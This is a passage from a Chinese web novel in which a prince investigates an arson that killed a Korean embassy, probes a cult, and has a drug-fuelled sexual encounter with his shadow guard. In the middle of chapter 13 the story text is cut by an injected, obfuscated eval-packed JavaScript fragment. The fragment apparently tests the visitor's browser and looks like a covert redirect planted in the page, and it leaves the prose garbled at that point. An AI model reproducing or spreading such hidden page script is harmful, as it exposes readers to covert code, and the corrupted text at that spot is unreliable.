夜深宴散,封歧又带回一身疲乏不堪。李聪是越玩越兴奋,可苦了他这个接待之人,不得不一直含笑作陪。到底是年纪大了,作别时看着神采奕奕的高丽王子,封歧心中嫉妒且惆怅。但那点儿愁绪转头就烟消云散,我亦尝年少,少年不足道,羡那个二傻子作甚。封歧风高云淡地回到居所,草草沐浴梳洗,借着酒意,倒头就睡。 一觉睡得深沉,半夜却被叫喊声惊醒。 楚王殿下拥着被子坐起身,沉着脸,听下人来报,高丽使团住的院落走水了。 13. 第 13 章 东方既白。封歧沉着脸,负手站在庭院中,看着面前地上摆成一排的焦炭般的尸体。 高丽使团一百八十人,大半留于京中,至行宫者共三十二人,六王子、正副使、通译俱在其中,一夜之间,无一幸免。 “殿下,属下在那边发现了这个,”庞绥趋步而来,递上一方汗巾,巾上摊着一些黑色刺鼻之物,“是硫磺和火油。” 封歧拈起一粒,指腹碾碎,凑近鼻端轻嗅。硫磺、火油之外,尚有硝石微苦之气。行宫修缮所用皆有定例,木材须经防火处理,库中绝无此等禁物。硫磺和硝石受朝廷管制,主要存于火药局和神机营,而神机营隶属京营。 从怀里取出帕子,擦干指腹,封歧问道:“昨夜何人值守?” 庞绥:“内院是虎贲卫和羽林卫,外围由京营把守,负责布防的是孟烬。” 封歧:“传他过来。” 太监领命而去,不多时,孟烬披着一身重甲自院后匆匆而至,抱拳行礼:“殿下,卑职方才在内盘查昨夜情形。京营驻扎山腰,未曾遭遇异常。但是内卫的人说,昨夜举宴,有宫人给他们送酒,道陛下体恤,与诸人同乐,但恐醉酒误事,每人只许饮一口。” 庞绥道:“说得这样真,是我我也信了。” 孟烬叹气:“可不,酒里下了药,只需一口,便睡死过去。火大约是丑时四刻烧起,奇怪的是院子里的人也无一呼喊,直至火光冲天方被别处宫人发觉,赶去救火时,火势已猛不可当,又淋了火油,水泼不灭。送酒的宫女尸体在倒座房里找到,自尽还是被人灭口,得验尸后才知。” 如果是被人灭口,说明还有同伙在行宫里。 庞绥:“院中之人不曾呼喊,那他们是在焚火前便已毙命,还是之后?” 孟烬:“这也得验尸后才知,只知道发现他们时,全都安卧在床,被烧成焦尸。” 一阵阴风刮过,庞绥忍不住搓了搓胳膊。 孟烬一板一眼道:“涉事侍卫和宫人卑职已命人看管起来,殿下可要提审?” 封歧一直面无表情地听着,唯有此刻波澜不惊地道了句:“怕是轮不到本王提审了。” 庞绥其实也已想到,咬牙切齿:“不知道幕后之人到底是谁,这样煞费苦心地害您,属下看,会不会是……” “嘘,慎言。”封歧目光掠过残垣断壁,投向远处灰蓝的山峦。 他也在想,幕后之人会是谁? 他是此次接待外使的负责人,这场大火,必须要给高丽一个交代,而他首当其冲。封麟必然不会放过这个机会。 ……会是封麟吗? 如果是封麟,那可真令他失望。此火烧去的,不止三十二名高丽人性命,更是大夏在藩属国中的威信,边境恐生变故。高丽虽是小国,却亦有主战一派,那储君李昑,素与主战派亲近。此事一出,主战派必然借势而起,极可能与大夏断交、拒受册封,后果不可估量。封麟身为人君,若当真不顾山河安稳、百姓生死,只为对付他一人,那便是不配为帝。 当然,亦可能是兴乾会,或高丽内贼所为。 “这时机挑得可真好,褚德刚在锦衣卫站稳脚跟,孟烬接手京营不到两个月,两处都经不起外部施压。”长史司的官署内,韦良辅忧心忡忡,从东走到西,又从西走到东,扭头一看,典簿房九思还坐在那摆弄他那破铜钱,不由气不打一处来,走过去将铜钱一推。 “哎,哎,”房典簿慢吞吞地把三枚古钱重新排好,“莫急,你看这卦象——” 韦良辅翻了个白眼:“我看不懂。” 房九思依旧慢吞吞地:“哦,没事,我说给你听。行宫坐东北向西南,火起丑时,以时起数……这是□□屯卦,六二爻动,上坎下震,坎为云,喻险;震为雷,喻动……” 韦良辅其实并不信这些,但此时急病乱投医,半信半疑地听了一耳朵,就听懂个什么云啊雷的,打断道:“那殿下这是,云雷交加?” 房九思:“大差不差吧,进退两难,盘旋不前,有困守之象。” “我呸,快快避谶,咱们殿下怎么就到这地步了。” 房九思:“莫急……”说着排了变卦,看了半晌,说道:“还有转机。” 韦良辅快急死了:“你倒是说啊!” 房九思一脸无辜:“说了,有转机。” 韦良辅无言以对,盯着他,忽然冷静下来:“我记得上回你给厨房李嫂算卦,说她家女儿有喜,结果她只有一个儿子,肚子里长了块石头,没几日便一命呜呼了。” 房九思嘿嘿一笑,左脸写着“理亏”,右脸写着“心虚”。 韦良辅以食指虚点着他,点了半日,终是一个字也没吐出,拂袖而去。 韦良辅去寻楚王殿下,楚王正坐在书房里,手里托着一副长长的卷轴。 此时仍是事发当日,火起于凌晨,天光大亮之际,楚王一骑绝尘赶回京师,召见褚德,又命人往大理寺和刑部调取卷宗,皆与兴乾会有关,如今在案头堆叠如山。见到韦良辅,楚王便道:“先生,你来得正好,本王有事跟你说。” 说这话时,楚王殿下从容如故,面上不见半分焦愁,似天塌下来也不过弹弹指甲、拂一拂尘的模样。受其感染,韦良辅心下稍定,先行礼,尔后道:“殿下请讲。” 封歧道:“先说你,先生来寻本王可是有事?” 韦良辅:“就是听说了夜里的事……” 封歧微微颔首:“正想和先生说此事,本王打算离京。” “啊?”韦良辅傻眼,心道殿下莫不是连番遇害,心灰意冷了?忙劝道,“万万不可!殿下若是就藩,可就再无……” “谁说本王要就藩了,”封歧安抚一笑,“先生不必紧张,先坐。” 韦良辅听言拣了下首的椅子落座。封歧道:“此案幕后主使,身份未明。听闻高丽六王子是储君的有力竞争者,其长兄与主战派亲近,早有不臣之心,若借此机会与本朝翻脸,倒是一石二鸟。但本王转念一想,此次火案,联通颇广,从物资调度到宫内暗桩,少一个环节都成不了事,高丽人做不到。” “幕后主使还是本朝之人,或势力。只是他在暗,我在明,近来事事被牵了鼻子走。”说到这里,封歧脸色微沉,罕见的流露出怒容,然那怒意来得快去得也疾,他闭了闭眼,再睁开时,已是云收雨霁,“本王这才想着姑且离开京城。” 他在这时离京,并非坏事。 一则,高丽使节遇难,他身为主官必须担责,主动请罚离京,是一步姿态,亦可堵住朝中攻讦者的口舌。二则,坐以待毙素来不是他的做派,跳出京城这盘明棋,由明转暗,许能反客为主。 “本王倒要看看,是什么魑魅魍魉在兴风作浪。” 韦良辅“呃”了一声,欲言又止。封歧道:“先生有话直讲。” 韦良辅朝皇宫的方向使了个眼色:“您看,会否是那位……” 封歧静了一瞬,说道:“我不知道。” 又道:“终有一日会知道。” 韦良辅见他已有决断,并非沉湎旧情不能自拔之态,便放下了心:“那殿下可曾想好要去哪儿?” 封歧看了眼桌上案卷,道:“这兴乾会颇为可疑,近来诸事,总见其影。本王翻阅卷宗,发觉此组织最初现于南直隶,便去南都看看。” 翌日,楚王上表自罪,揽下行宫失火之责,恳请往陪都思过反省,其辞恳切,闻者动容。陪都虽设三司六部,终究远离朝廷,时日一久,便与权力中枢渐行渐远,对楚王来说与流放无异。皇帝自是一番涕泪挽留,叔侄含泪推让三个回合,皇帝无奈应允。 出了金銮殿,成谨在丹墀上等到封歧,和他一起步下踏跺,说道:“终于能送走你这座五指山,别以为我不知道,陛下脸上依依不舍,心里肯定乐开了花。” 封歧:“五指山是何物?” 成谨:“出自近来书肆里大火的连载话本,讲的是个石胎猴儿,拜神仙为师,习得无上法术……” 成公子这一讲就有些滔滔不绝,收束不住,索性随封歧一道上了楚王府的马车,直至岔路口不得不分手,方意犹未尽地回了自家车驾。封歧听了一路的“石猴大闹天宫”,倒也品出几分滋味,回府后让人去买话本来看。 着钦天监算过吉日,启程的日子定在十月初十,尚有数日。这几日里,楚王府门可罗雀,十分冷清,封歧燕居在府,品茗下棋,自得其乐。 初八这天,成谨登门造访,随下人步至书房,便见轩窗大敞,临窗的炕上对坐着两人。一人自是楚王,另一人作书生打扮,生得文秀俊俏。楚王本就天人之姿,这人与他同处一室,容貌竟不差分毫,若不论性别,称得一句“天造地设”。 成谨进了屋子,那书生十分有眼色地起身告退,经过他身侧时,不卑不亢地行了一礼。成谨微微颔首,目送他出了屋子,步下台阶。封歧抬眼一瞥:“你要看到什么时候?” 成谨若无其事地收回视线,在封歧对面落座,扫一眼小几上的残局,随手落下一子,口中道:“怎么,这就醋了?” 封歧悠悠道:“休要浑说。” 成谨岂会不懂他,闻言微微一笑:“那徐幼安风姿确实不俗,瞧着一身冰清玉洁,正是你素日会中意的那一类。” 封歧垂眸看棋局,并不接话。 成谨知晓从前他与封麟二人是如何相扶相携走过来的,是以在得知真相后,心中万分唏嘘,更为封歧深深不值。自己这位好友,人前总是一副泰然自若的模样,可他终究是血肉凡躯,受了伤也会疼。虽说封歧谈笑如常,成谨却总觉得他这阵子不大对劲,生怕他一落千丈,郁结难解。 是以此刻眼见封歧似有另寻良配之意,成谨着实松了口气,从旁撺掇道:“既是喜欢,何不直截了当些?以你的身份手段,放眼天下,什么人得不到?” 封歧却道:“你知我想要什么。” 成谨:“便是寻常夫妻,不过媒妁之言,有几个付与真心的?这男子和男子,若放在前朝还好,本朝理学之风日盛,你又偏偏看上个读书人,暗度陈仓还有可能,若要他无怨无悔地同你在一处,啧,难啊。” 封歧一推棋盘,站起身:“不说了。” 成谨岂会怕他,唇角噙笑,道:“人生几何,一晌贪欢,何不抛开那些顾虑,你看朝中那些文官,白日里个个仪表堂堂,夜间又怎知有多少衣冠禽兽。你堂堂亲王,何必过得如此克己自制,别等到日后入了土,还不知放纵的滋味。” 封歧:“成谨!” “行行行,我不说了,”成谨忙道,“来说正事,行宫失火的案子是我刑部主审,近来有些发现,我抄了一份卷宗给你。” 十月初十,楚王仪驾驶出京师,十一月初便抵达了南直隶应天府上元县。开朝之初,应天府曾为国都,后来国都北迁,这里的六部却留存下来,作为陪都,共治王朝。只是话虽如此,陪都远离权力中心,到底为贬黜之地,这里的官员要么郁郁不得志,要么饱食终日,无所用心。楚王初来乍到,司部官员起初担忧他心情不好,借机发作,无不胆战心惊,小心作陪,后来发现楚王与传言不同,是个只爱燕居偃卧,淡雅如菊的公子哥,到来七八日,除第一日参加洗尘宴,一直闭门不出,修生养性,这才放下心来,日子一天天过去,逐渐恢复如故。 愈近隆冬,天气愈寒。天空灰蒙几日,终于下了一场小雪,应天府临江而建,虽处南方,却比京师更要阴冷。这样的天气里,路边的卖家均收了摊,街道空无一人,唯有一辆华贵的马车碌碌地驶过,留下两行湿印。 马车在刑部衙门前停下,一位冰姿玉貌的公子自上施施然而下,在众星拱月下来到门前,出示牙牌,守门的衙差忙低头行礼,“见过楚王殿下。”楚王微微颔首,进了门内。 刑部尚书闻讯迎出,热络道:“不知殿下驾到,有失远迎。” 楚王道了免礼,嗓音清透如冰堆雪砌:“你就是彭尚书?听闻尚书上任以来连破几桩奇案,被人称作彭青天,本王慕名而来。” 彭尚书受宠若惊,直呼不敢当,楚王和他你来我往寒暄了几句,又将话题拐回来:“正好本王有个亲信,颇擅此道,听到彭大人的事情后,便走不动道了,求到本王跟前。彭大人,您看可否卖本王个脸面,姑且收他在手下做事,好让他见识见识神探的本事。” 说着,示意身后一人上前。那人行礼道:“在下赵陆,见过彭大人。”彭尚书定睛一看,此人身形高大修长,面容俊美,气度不凡,又想起楚王的风流名声,眼神顿时暧昧起来。 “正好前些日子有位录事摔断了腿,在家休养,赵兄弟若不嫌弃,便暂且补了他的缺。” 彭尚书带着赵陆来到一间官舍,指着一张空桌子,说道:“每日也没甚大事,无非有人来报案便录上一笔,再或是偶有案卷须誊抄一二。” 赵陆应下。彭尚书抚了抚滚圆的肚子,沉吟道:“赵兄弟,你给我透个底,你可打算在我这一直干下去?若干不长久,我也好早些另外找人来补缺。” 赵陆如何听不懂他的弦外之音,笑道:“其实也没什么,我们家殿下近来迷上了一册破案的话本子,叫《南都风闻录》,听说里头好些案子便是取材自彭大人当年亲手破获的案件,这才差在下来瞧瞧‘原型’。再想看看有什么疑难奇案,拿回去给他过过干瘾。” “殿下到底是年轻,少年心性啊,”彭尚书放下心,乐呵呵地道,“这里架子上有不少誊抄的卷宗,都是些小案子,赵兄弟尽可翻看。命案重案在架部库,闲杂人等进不去,殿下若有兴致,来找本官便是。” 赵陆拱手道:“多谢大人。” 彭尚书转身欲走,这才发觉赵陆身后还立着个沉默寡言的男子,方才竟浑然未觉,不由一怔:“这位兄台是……” 赵陆道:“哦,这是殿下怕在下人生地不熟,遇上什么闪失,特遣来的护卫,唤作王七。” 彭尚书“哦”了一声,把赵陆王七搁在一处默念了两遍,总觉得不大对味。不过他只露出个和蔼的笑意,什么也没说,腆着肚子走了。 赵陆这一日将手边能摸到的卷宗翻了个底朝天,至暮色四合,方随着其他下值的书吏一道离开。不远处的巷子里,他早已命人藏下两匹好马,此刻牵出来,赵陆问道:“舆图带了么?” “带了,”王七应道,“我们不回府么?” 赵陆道:“那府邸外面眼线太多,好不容易出来,查清楚了再回去。” 王七劝道:“您是千金之躯,何不回府另派人去查。” “你如今话倒多起来了。缩头缩尾的如何成事,正该出其不意。再说——”他微微一笑,“不是有你跟着么。” 正说着,赵陆忽然猛地转身,背朝巷外。王七虽不明所以,却也在第一时间侧身将他挡在身后,余光扫见巷口一名身着锦鸡补服的官员正下值路过,不经意朝巷中投来一瞥,又匆匆离去。 赵陆看不清身后光景,低声问:“走了么?” 王七:“走了。” 赵陆这才转过来,解释道:“那是礼部侍郎钱知悯,从前在京师见过我。” 王七道:“哦。” 赵陆嗔怪地瞟他一眼,当先走在前头。 二人打马赶在城门落锁前出了城,当夜宿在驿馆,次日天未明便又上路。彼时天色尚黑,云散雪霁,寒空中挂着半晞残星。待到朝暾初升,金辉泼洒旷野之际,远处终于隐隐现出了村庄的轮廓。 此村名叫杨柳村,与兴乾会有着莫大的干系。赵陆与王七驻马于村外一片疏林间,将马匹拴好,步行向村中靠去。村外良田连片,因昨日才落过一场细雪,泥土潮润发黑,放眼望去,苍茫中透出几分萧瑟。 村中已有人家起身,鸡鸣犬吠间,炊烟袅袅升起。赵陆随手叩响一户人家的门扉,片刻后,一个中年庄稼汉应门,打量着他二人,问客从何来。 赵陆道,他兄弟二人出身耕读之家,乡试侥幸中举,自觉才疏学浅,便结伴外出游学,路经此地,想买些吃食垫垫肚子。 士人总备受礼遇,且他衣物谈吐均是不凡,那汉子心里疑窦顿去七八,搓着手有几分局促地将人迎进屋子。 “我这屋子简陋,两位公子不要嫌弃,在此少坐片刻。冬天新鲜菜蔬少些,不过两位公子也来得算巧,昨日夜里钻进来一只偷鸡的黄皮子,叫我宰了,这就让屋里头的烧了下酒。” 赵陆忙道:“多谢大哥,是我们兄弟叨扰了。” 那屋主出门往灶房寻他婆娘去了。王七用袖子将长条板凳拂了一遍,低声问:“公子可要歇一歇?” 这是一间寻常堂屋,左右各连着两间厢房。东墙下摆着一张四方矮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵来水一走,赵陆便掏出帕子,去擦那木筷上的黑黄痕迹,奈何任凭他如何擦拭,那颜色都不见褪。王七看在眼里,放下手中已喝去大半的粥碗,起身出了门。不一会儿返回,手中多了两根新削的木条,青白的内里光洁如新。 “您将就用一下。” 赵陆接过,忆苦思甜:“小时候馊饭剩菜也没少吃,唉,现在连一双筷子都难以忍受了。” 王七低声道:“您本是金玉之躯,无须忍受。” 赵陆微微一笑,仍然不动粥,而是将他喝完的空碗换到跟前。王七意会,把两碗粥全部喝干净。 又过了片时,赵来水从灶房回来,身后跟着一个妇人,二人手中都端着热腾腾的菜。那妇人朝赵陆二人局促地笑了笑,便转身出去了。赵来水在赵陆对面坐下,拎上一坛酒来,笑道:“不用管她,她在灶上吃了。我开了坛陈年老酒,陪两位兄弟喝两碗。” 说着,赵来水拍开封泥,斟了满满三大碗。碗仍是粗陶旧碗,碗沿上隐约可见渍痕。王七隐忧地望向赵陆,赵陆只作不觉,自若地端起酒碗,凑至鼻端轻嗅了嗅,赞道:“好香醇的药酒。” 赵来水嘿嘿一笑,操起勺子往酒坛底一捞,捞出许多奇形怪状的根茎来,举到二人面前晃了晃。 “兄弟好眼力!这酒是我们庄子上的土方子酿的老根酒,外地可寻不着,用了十几味药草的根须。前几年有个西边来的脚商打这里过,我又从他手上买了些西域神药,也一并添进这酒里了。你们尝尝。” 赵来水自个儿先闷了一大口,赵陆唇畔含笑,端着碗一动不动。王七应是看出他的为难,端起碗浅抿一下,破天荒地说道:“确实是好酒。” 赵陆了然,他这是在说,这酒无毒。虽不知他是如何分辨的,赵陆还是信了,低头饮了一口。 一同喝过酒,赵来水看他们的目光愈发满意亲近。赵陆搁下酒碗,随口提起:“难怪说读万卷书不如行万里路。小弟自幼便自以为饱读诗书,无所不闻,出来后方知不过是坐井观天。不说别的,方才小弟闲来张望,瞧见供桌上那尊神像,竟是哪路神仙也不认得,可见实在孤陋寡闻,实在惭愧。” 赵来水不疑有他,摆手解释道:“兄弟不认得也平常。那是启明仙君,乃太白金星转世的仙身,一年前才回归仙位的。只要舍得供奉,仙君有求必应。我们村里,家家都请了他的神像。” 说着,看赵陆神色明显不信,赵来水几分酒意上头,拍桌子道:“老哥我可没有胡诌,今年我们交了二十两银子求子,就在三个月前,我家婆娘就怀上了,你说灵不灵验!” 赵陆讶然:“果真灵验!”说着举碗就敬,一旁的王七欲言又止。 赵来水得瑟不已,干了碗,又是一口饮尽,脸皮黑里透红。 赵陆又不经意般问道:“不知这供奉的银子,是交给何方神圣?可是仙君本尊么?” 赵来水摇头晃脑:“仙君怎会收这等俗物。供奉不过是聊表心意,银子乃交给小圣女。小圣女是仙君褪去凡胎前留在人间的骨血,能与仙君对语,传那天上旨意。” “原来如此,”赵陆若有所思,“不知这位小圣女现在何处?我兄弟可否前去拜会一二?” 赵来水动作一顿,眼中酒意忽然清明了些许,说道:“既是圣女,我等凡人怎会知晓她的下落。只晓得需要她时,自会现身就是了。”说着,露出一个神秘的微笑,闭上眼,虔诚念道:“长庚开紫极,圣女乘霄下星津。” 一刹那,赵陆的脸色难看到了极点。 长庚指的是太白金星,紫极指天阙。可紫极亦指帝宫,这启明星君难不成想做皇帝! 不过转瞬间,赵陆便恢复如常,又与赵来水闲叙些别的,待一顿饭毕,付了饭钱,告辞离去。 一离开杨柳村,赵陆便收了笑,脸色微沉。走在村头小路上,他忽有所感,驻足回望。只见来路尽头,不知何时现出一位白衣少女,端坐于某物之上,双手安放于膝头,正有些忧愁地凝望着他。说不清缘由,也许只是直觉使然,他感到那少女似乎有什么话要对自己说,于是神色微变,待要举步过去,只眨眼的工夫,那少女倏然消失无踪。 “殿下?”化名王七的十七跟着扭头,却什么都没看到。 赵陆自然便是封歧,他摇了摇头,没说什么,继续赶路。 二人回到驻马的地方,解开缰绳,纵马回城。然而,随着日头逼近,正午来临,封歧愈觉气血翻涌,浑身燥热,直到再也无法忍受,急匆匆翻身下马,走入道旁林中,倚着一棵老树坐下。 “那酒……有问题……”封歧咬牙忍耐,吐出这几个字便闭目不语。他那张如玉的面庞此刻染遍了嫣红,双唇更是艳丽夺目。 十七走到他身侧蹲下,不敢看他,犹豫片时,低声道:“酒中无毒,也确确实实加了许多补身的草药。只是其中……有一味西域来的肉苁蓉,还有鹿血、鹿鞭,皆是壮阳之物……” “为何不早说?”封歧含恨望来,只可惜那双眼中蒙了一层濛濛水雾,失了凌厉,反倒愈显惊心动魄。 十七喉结滚了滚,屈膝跪倒,愧疚道:“卑职本欲提醒,只是一直未曾寻到合适的时机。卑职知错,请殿下责罚。” 封歧仰起脖子,靠在树上,冷冷道:“若是叫本王知道你是故意……” “卑职绝无此意!” 十七以头抢地,心中苦涩,封歧的揣度比杀了他还让他难受。他嘴唇颤了颤,大胆道:“殿下实在难受,请允我、卑职,帮您纾解……” 封歧没有说话,只是吐出的呼吸越发急促和炙热。他想起出发前成谨说的那番话,“人生几何,一晌贪欢,何不抛开那些顾虑……你堂堂亲王,何必过得如此克己自制,别等到日后入了土,还不知放纵的滋味。”他当时虽驳了,可未必没有受到动摇。思绪犹如火烧,逐渐模糊。 十七又唤了声殿下。封歧仍然闭着眼,不说话。没有呵斥,却也没拒绝。十七难得灵光了一回,可伸出的手却滞在空中,和心脏一起畏缩,颤栗。眼前的男人那么矜贵俊美,屈膝坐在树下,整片荒林都仿佛因他生辉。 十七用难言的目光看着他。 楚王殿下,是他心里的最龌龊卑劣最金尊玉贵,最诚惶诚恐也最罪孽深重。他愿将此生种种,卑贱的躯体,和一条烂命,都敬献给这人,无怨无尤。 只因他有个肮脏的秘密。只望殿下永远不会记起。 14. 第 14 章 饮酒虽已多时,此时方觉醉意。 至半酣时,封歧猛地一个翻身将人压住,鼻尖一滴汗珠摇摇欲坠,他睁开那双深不可测的眼,反手攥住男人手背,拢于掌心,一边指点江山,一边哑着声道:“瞧你果决男儿,怎的如此温吞。”十七睁着眼,望着他,腮红如饮烈酒,眼里水润空茫,说不出话。 封歧心头微动,仿佛受了蛊惑,俯首而下。气息愈近,几近交融,然而双唇差之毫厘之时,封歧忽的错开脸,埋首于他耳畔。一手仍然握着他的手背,另一手揽紧腰身,影卫需要敏捷的身手,周身肌理并不夸张,就算隔着冬衣也能感受到窄腰劲瘦。与亲吻失之交臂,十七说不出心底那一丝空荡是何滋味,或许有失落,可旋即便被滚烫的拥抱填满。封歧的呼吸一下下敲在他心上。 “殿下……” 封歧在他耳边轻声道:“你也没喝多少,怎么比本王还精神。罢了,帮你一把……” 十七兀的张嘴,却发不出声音。 封歧抬起头,深深地凝视着他。这个男人果然和他想得一样,强健,温顺,沉默,忍耐,予取予求。 这个男人比他想象的还要令他……难以自持,热血沸腾。 非是钟情。封歧自知素日所喜乃是俊秀男子,如封麟天生夺目,如徐青,一身冰雪,满肩落拓霜意。而十七与他们完全背道而驰,他是蛰伏的野兽,他属于黑夜,他英俊,粗陋,原始,敏锐,直觉……臣服。 是的,臣服。 只需这一点,便足以撩起最原始的野性,滚沸不休。 临时拨住的楚王府内,小小的书房,挤了一二三四五个人。庞绥从东走到西,韦良辅从西走到东,停下脚步,齐齐叹了口气。 房典簿捂住心口:“哎唷,哎唷。” 韦良辅咬牙瞪视:“你最好有正经事要说。” 房典簿慢吞吞道:“老夫年纪大了,心脏吃不消,你俩这口气,险些没把我叹上西天。” 韦良辅:“你……” 绪总管忙抬手虚拦:“这等时刻,二位先生就别吵了!” 庞绥忧道:“马上落日关城门了,殿下为何还不归来。要不,我出去看看……” 书桌后,锦衣玉冠,作亲王打扮的徐青安静地读书至今,终于开口:“不妥,谁都知道你是殿下长随,你若这时出去,才是告诉有心人,楚王有异,说不得会给殿下招去危险。” 庞绥本就烦躁,终于按捺不住,迁怒道:“殿下没有音讯,你倒是不急,还看得下书!依我看,你半途入府,说不定居心——”韦良辅大喝:“庞统领!慎言!” 庞绥住嘴,脸色仍然难看。 徐青放下书,看着他,平和道:“我亦忧心,读书可以静心,所以我才会在这时看书。” 他这番四两拨千斤,顿让庞绥生出打到棉花的无力感,怔了一怔,撇开眼睛。 徐青平日并不怯谈,只是因为天生脸皮薄,所以话并不多。此刻在场人众,不乏韦良辅这等智囊,最镇得住场子的竟是这个并不冒头拔尖的儒生。 徐青发现众人的目光竟齐刷刷地落在自己身上,略一思忖,站起身,正要说话,屋外忽然传来喧杂。庞绥耳力最好,脸色一喜,第一个拉开门走出去。 “殿下!” 封歧和十七一前一后走过来。乍一照面,庞绥隐约觉出有什么不对,然而这个直觉只在刹那之间,转瞬即灭。 “殿下,您可算回来了!您没遇到什么事吧?没受伤吧?”庞绥走在封歧身后半步的地方,殷殷关切。 他太聒噪,封歧扭头,本是打算让他噤声,目光却不由自主地掠过他,落在被挤至后头的男人身上。 男人本在看他,目光相对,轻轻一震,垂下眼帘,神情一如既往沉默坚毅,除了……封歧看住他的侧脸,颧骨处有一道划痕。那是最后关头,他忍受不住,侧过头抵住地面时划伤。眼前又出现他到达时的面容,连带着划痕都变得暧昧,封歧欲盖弥彰地清了清嗓子,向十七说道:“你先去换身衣服。” 说着,走向书房的脚步一顿,低头,看到自己也是一身尘土,顿觉浑身发痒,难以忍耐,“不行,本王也要去洗个澡。”天大的事都要往后捎一捎。 洗完澡,诸人齐聚书房,封歧将今日见闻长话短说。大家沉吟思忖,片刻后,韦良辅道:“这么说,兴乾会果真是反贼?” 庞绥不齿:“大肆发展信众,坑蒙拐骗用以敛财,反正不是好鸟。要属下说,管他是不是反贼,都给他一窝端了。” 封歧略一犹豫。 有件事他没说——今日看到的神像木塑十分精致,似乎出自木雕大手,五官湛然若神,和他有几分相似。虽不知其中关窍,直觉却告诉他,这里面不简单,说不定有什么大阴谋,不能轻易为外人道。 楚王端坐主位,沉吟不语。几位智囊不敢惊扰,凑在一处低声议论,却渐生英雄无用武之地之慨。他们素来擅长将错综复杂的朝局抽丝剥茧、条分缕析,而眼下之事,怎么看都直白简单:那分明是一个邪教,搜集罪证,定罪缉匪了事。 封歧并非犹豫不决的性子,很快拿定主意,出声问:“出发前带来的二百府卫可得用?” 他这一开口,屋中嗡嗡杂音顿止,所有目光全朝他看去。 庞绥忙道:“弟兄们昼夜操练,随时听令。” 封歧:“离开杨柳村之前,本王似乎看到了那位‘圣女’,着府上护卫即刻出发,去村里拿人。由你亲自带队,要活口,不要惊动官府。” 庞绥:“城门已闭,不惊动官府怕是出不去。” 封歧按住太阳穴,这两日一件事接着一件,忙得他脑子都不太灵光了,竟犯这种蠢:“……那就拿本王牙牌开城门,先把人抓回来,其余事回头再说。” 怕只怕已然打草惊蛇。他们在赵来水家并未暴露,可一日已过,若赵来水夫妇白日与村人闲谈时提起,不免引起有心人留意。封歧又想起临去前那个静默的少女,想起她那双忧愁的眼睛,心中不安愈发浓重。若果真打草惊蛇,也只好作罢,容后再议。只怪回程出了些状况,耽误了大半日行程。 思及此,封歧忍不住瞪了十七一眼。 从上元县到杨柳村,一来一去最少也要大半天时间,封歧知道急不得,于是让众人各自回屋歇息。做戏做全套,主院仍然给假扮楚王的徐青住,贴身侍从悉数留在那里。封歧一个人去到不惹眼的偏院,有影卫守夜,反而更为安全。 然而这晚,似乎有些不同。 封歧一阖眼,白日林间那一幕便浮了上来。荒草野林,薄雾弥漫,笼罩着一场怪诞迷梦。醉酒的旅人栖身而坐,玄豹蛰卧膝前。它是山间最直来直去的精怪,向他袒露柔软的喉颈,水珠滑落光亮的皮毛,引诱人去征服,并被它征服。 封歧叹了口气,翻身而起,披衣来到窗前,屈指叩响窗棂。 动静并不响,在这万籁俱寂里,是某种秘而不宣的邀请。 很快,窗外传来走动间衣服摩擦的窸窣声,十七有意压低的嗓音响起:“殿下?” 封歧温声道:“陪我说会话。” 十七应是,封歧分明没有开窗,却仿佛已经看到了他,又道:“放松点,不必紧绷着。” “……是。” 说完,封歧就看到窗户上投下一片修长的剪影。影卫放松地倚在了窗户上。从影子可以看到,他 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知道十七恐怕不解其中典故,封歧不等他赧然发问,便娓娓道来:“濂溪先生乃两代以前的道学大家,他书房窗前的杂草长得十分茂盛,却从不让人除。有人问为何,他说,看那些自然生长的草,便如观照万物天理。你今夜观星,从中领悟无常与恒常,可不就与他一样了么。” 无名无姓的影卫,与名垂千古的大家。何德何能,竟有一日会被人放在一起。 话音落下,窗里窗外陷入阗寂。封歧学着十七,转了身子,背靠窗户,屈膝而坐,也微微仰起头,看着头顶承尘,心中一片宁静。 许久,窗外才传来一声“殿下……”声音微哑,仿佛有所感触,有所压抑。 封歧微微弯起唇角:“说起来,上十二卫我都了解,唯有先帝亲手创建的影卫十分神秘,我有点好奇。你可能说给我听听?” 影卫司事关机要,轻易不可外道。可封歧这般温言开口,十七半点也不想拒绝,略作思忖,便拣了些不紧要的说了。 “每年皆有人往四方各地挑拣七岁以下幼童带回司中。天灾人祸,总少不得失怙的孩子,跟着去司里,其实也算一条活路。我们都心怀感激。一开始我们不知道自己到了哪里,只知道每天都要训练,每半个月经历一次考核,不通过的便被带走。如此这般,年复一年地重复,几年之后,能留下的不过十余人,这时才会被送入影卫司。到了司里,仍是日日训练,练就一身本领,等待皇帝赐名。每隔几年,先帝陛下会择十个最出众者赐下名字,那时才有离开影卫司、随侍主子的机会。” 封歧想到什么问什么:“有人教你们读书吗?” “没有。” 十七眼神有些迷惘。连宫里的太监宫女都有文书房教习认字,但是他们没有,不仅没有—— “书在影卫司是禁物。” 十七不懂,但封歧何等眼界,立马便明白了。 读书启智,智启则心明,心明则不驯。 如何能让他们读书?影卫开蒙,便如兵刃有缺,徒生变数。 上位者的手段总是如此兵不血刃,残忍自私。 可是啊,就算如此泯灭人性,在十七身上,封歧仍看到了未泯的灵光。他浑然天成,叩问天地。 忽然不知道该如何与这个人解释这一切,封歧罕见地生出一丝愧怍。默然片刻,他匆匆道:“不早了,本王该歇息了。” 这一觉并未睡得太久,天光乍亮之际,庞绥率人折返,带回了一个不良于行的女童。 15. 第 15 章 楚王亲信闻讯而至,或坐或立,目光皆落于屋中那少女身上。 她瞧着不过十岁出头,正是豆蔻之龄,生得精致清透,宛如观音座下的童女。轮椅中,她双腿较常人细瘦许多,无力地垂着。大约是早已习惯了旁人的注目,她面上不见惊惶,神色恬淡安然。 但是令人深思的都不是这些,而是她的长相—— 门外忽有人踏入。少女猛然抬头,眸中绽出惊喜,脱口唤道:“爹爹!” 屋中气氛陡然一变。 封歧脚下一顿,扶住了门框。 众人目光在二人之间来回逡巡,神色各异,若有所思。不错,这小女郎与他们的楚王殿下生得实在太像了。 察觉到四下揣度的视线,封歧立刻澄清道:“本王不是你爹。” 少女歪着头,一双纯净眸子里满是孺慕,噘嘴道:“爹爹骗阿难。说好一个月便回家,阿难等到如今才等到你。” 